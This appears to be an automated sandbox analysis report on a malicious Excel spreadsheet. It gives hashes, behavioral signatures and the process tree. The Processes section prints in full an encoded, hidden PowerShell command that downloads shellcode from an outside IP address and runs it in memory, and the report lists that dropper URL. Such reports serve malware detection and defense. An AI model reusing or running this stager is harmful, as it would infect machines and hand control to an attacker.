Analysis
- max time kernel
47s - max time network
37s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
13/11/2024, 21:50
Behavioral task
behavioral1
Sample
cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls
Resource
win7-20240708-en
11 signatures
60 seconds
Behavioral task
behavioral2
Sample
cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls
Resource
win10v2004-20241007-en
10 signatures
60 seconds
General
- Target cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls
- Size 46KB
- Sample241113-1qa5matkap
- SHA256 cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9
- MD5 62c462f23b7c02a5feff2574b3a5da02
- SHA1 e4de389e9fc5a5ed7d99f9fc31d98496d7ea7a93
- SHA512 60f9a662839f1a82db4b5b648fc430b15ad50399221ad06dc816a663ae5aed7df68ed117687cb5e53fd14fbe85ba001c315228d2d3ab9a3c32daa3a9b294763c
- SSDEEP 768:a4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:5SFsv66g3KnF439NKC54kkGfn+cL2Xd+
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://194.182.164.149:8080/fontawesome.woff
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3192 3048 powershell.exe 82 - Blocklisted process makes network request 1 IoCs
flow pid Process 23 3192 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3192 powershell.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3048 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3192 powershell.exe 3192 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3192 powershell.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE 3048 EXCEL.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3048 wrote to memory of 3192 3048 EXCEL.EXE 87 PID 3048 wrote to memory of 3192 3048 EXCEL.EXE 87 PID 3192 wrote to memory of 2620 3192 powershell.exe 89 PID 3192 wrote to memory of 2620 3192 powershell.exe 89 PID 2620 wrote to memory of 2512 2620 csc.exe 91 PID 2620 wrote to memory of 2512 2620 csc.exe 91
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\cfec6baca826341f3101312b42f296509e2bcba6a32597fcf6589a3a076124b9.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:2620 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7AAE.tmp" "c:\Users\Admin\AppData\Local\Temp\3arafkkd\CSCE318E16B44C941C6BDCAA884FD7C7C.TMP"4⤵PID:2512
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.dll
- Size 3KB
- SHA256 80aeb6897720306b50a420ace33a5911dcb7c84754417a6ec3c49e17fe6cca31
- MD5 f4c4d7ba39659c262fb1d7f8f3487dba
- SHA1 1cf2e3e5056ba8bc958fa6bff72de49c36b1ae81
- SHA512 d0879e9900620f23089d4f1c4c3adf59902ca727dfe76b3786fd3de65151bbbbf2e425f07859625c8d1ccffccbe3ee0ac74921a877617426c2d4a47b75f6984f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\RES7AAE.tmp
- Size 1KB
- SHA256 91a1a297670bf6822a648eb7e82b6d68f31523be709170bac33bacd5260c9e1f
- MD5 cebf3f6af5cefa5505d17f5c409b753e
- SHA1 6e8253526587a3d4c87de942ef290db057cd9641
- SHA512 3b36f632ab74b35975a416e78574763b6a333f9bef21345463bd83eab63e1da152d262a0546b0e1c19727056d4756a7f9565f90ce6ad1e69a10ab2704c6f52c2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2brk1vhz.4qo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 2KB
- SHA256 092799540413c0a7bae84ecb75485815dbf891bc153c9c5d936b258fafa58c9f
- MD5 43ec985c40043c7a8626afadadb681dc
- SHA1 92ad1b0578bdeb2e1664da8f26265c66507e9ba6
- SHA512 a558ebd0ad663417fc872e0a96e69283746bad892cd1bb638fefe9938a82b6f1c52547205b212fe7a51c386b9886a2b59ae9ada0ecddd881ce6bdc701a41adb8
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.0.cs
- Size 631B
- SHA256 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319
- MD5 f4dd5c682eb7b3b679f084261bfc7c4c
- SHA1 70f75d7a4e42c185eb09139ed3c6f7338a2219c2
- SHA512 8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\3arafkkd.cmdline
- Size 369B
- SHA256 cb90920e1f3099e168b371e1423e53ca66dfa7db310d22fee08dc352ef9962a2
- MD5 e31d3263e90e129e3c2d4759bd062555
- SHA1 ed221b20412008b938a38aa75356cf6d4711633a
- SHA512 6ef5797b346dcf08616bbcf3bc2a93134f36b323a4fcbf0a67ffdaea27a950275d28027e888a28bbdc6b43ca5cb6c01d3f47508fc85f70546f1b8eed1308d85a
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\3arafkkd\CSCE318E16B44C941C6BDCAA884FD7C7C.TMP
- Size 652B
- SHA256 129e08af9899fcad7e21cd3feea385559d93cb81295ae3cbef5ded935af81984
- MD5 2792148cce6edfbe825b5d7022048d3e
- SHA1 fd19e75e876432793b9959aefca91c76917ac9cb
- SHA512 e65c32d78b3797014076805680fc14423abb490aa70046d78f182409d87a9d60c229c341c3c8db28f62e738712ed61fa83a5034bb6e83c269f5e32d92354083c
- MD5 SHA1 SHA512